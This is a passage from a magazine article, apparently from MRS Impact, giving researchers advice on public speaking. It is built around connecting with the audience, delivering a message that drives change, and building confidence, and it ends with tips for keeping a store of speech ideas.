Third, speaking strengthens our collective thinking and knowledge. Nowadays, we all have a voice and a channel for sharing our thoughts and opinions, though very little is new and often poorly curated. As speakers, we have a responsibility to deliver quality material of value to an audience that also drives forward ideas and thinking.

Being a good speaker is a real asset. But what makes a good speech and how can you build your own personal toolkit for giving one? The Now You’re Talking Speaker Survey reveals three essentials of a good speech – Connection, a message that drives Change and Confidence – the 3Cs.

Connection

If you can’t connect with your audience, you might as well be talking to yourself. Connection is not only about being likable – the smile, good eye contact, friendly conversational style, etc – but also about being relevant. And, with today’s notoriously short attention spans, you need to gain your audience’s attention and interest fast.

Picture yourself sitting in an audience. You’ve set aside the time, maybe even spent money to be there. You’re wondering ‘What’s in it for me?’ As a speaker, it’s your job to answer that question. To do that, you need to ‘deep research’ your audience. It’s not just about their name and job title. Depending on whether you’re talking to a larger, conference-style audience or debriefing a project team, key questions might cover the goals of the event, other speakers, audience profile, what they do/know/expect/how they talk and what do they most want from you.

The more you know about your audience, the stronger your ability to connect with them and influence their thinking and behaviour on their terms, ie answer their ‘What’s in it for me’ question.

And it’s not just about the content of your speech. Knowing your audience will also give you strong pointers about delivery – whether or not you need slides and how many, relevant stories, appropriate levels of energy, vocal variety, body language and so on.

A message that drives Change

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what they’ll value.

All too often we confuse audiences because we grab our data and start making slides without even thinking about our message and its value to our listeners.

Instead, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message doesn’t belong in this particular talk or presentation.

Confidence

“Confident speakers are frequent speakers,
so take every opportunity to speak up”

Confidence is one of the three essentials because it is part of your authority and credibility as a speaker. If you don’t feel confident in what you have to say, then why should your audience? When audiences sense your fear, they will often be more concerned about your wellbeing than about what you’re saying. Confidence allows your listeners to relax and engage with what you have to say; your message, not how you’re feeling.

Confident speakers are frequent speakers, so take every opportunity to speak up, be it to a small group of colleagues, in a meeting, on the phone, in a pitch or presentation. Get comfortable with speaking and use the opportunity to practise different techniques, eg voice projection, storytelling, opening a speech with impact, etc. Invite people to give you specific feedback on what they liked and any improvements they would welcome.

Building your speaker’s treasure trove

Your biggest ally as a speaker is you – your authentic self, your personal stories and experiences, your ideas, your style of speaking, your gestures and facial expressions. They are all uniquely yours and can help you express your vision in a way that is fresh and stands out. Here are some tips for building your treasure trove of ideas and techniques:

  • Keep a special place where you capture your ideas for speeches – phone, electronic notes, recorder, etc. The important thing is to capture the thought, because otherwise it will get lost in the busyness of your day.
  • Keep abreast of reliable sources of ideas, including Blinkist, quality publications, industry journals, TED Talks, etc. These may also give you some useful statistics or quotes for an attention-grabbing opening to a speech or talk.
  • Be aware of how you normally speak. Your tone of voice, speaking speed, volume will change to reflect different words and emotions. These will form the basis of your vocal styling in front of an audience.
  • Similarly, be mindful of your natural facial expressions, hand gestures and posture. They speak the truth. In the case where your non-verbal language and your words are incongruent, it’s the non-verbal communication people will believe.
  • Take note of the things you say that make people laugh. For most of us, this gentle, personal and often self-deprecating humour is far more powerful than stand-up-style jokes.
  • Practise different aspects of speaking at every opportunity.

Whether you’re an experienced researcher or at the beginning of your career, public speaking is a very good idea for you, your business and the industry’s collective knowledge. Embrace the three essentials of a good speech and finesse how you take your ideas to a bigger stage.

Originally published in MRS Impact Issue 29 April 2020

 

 

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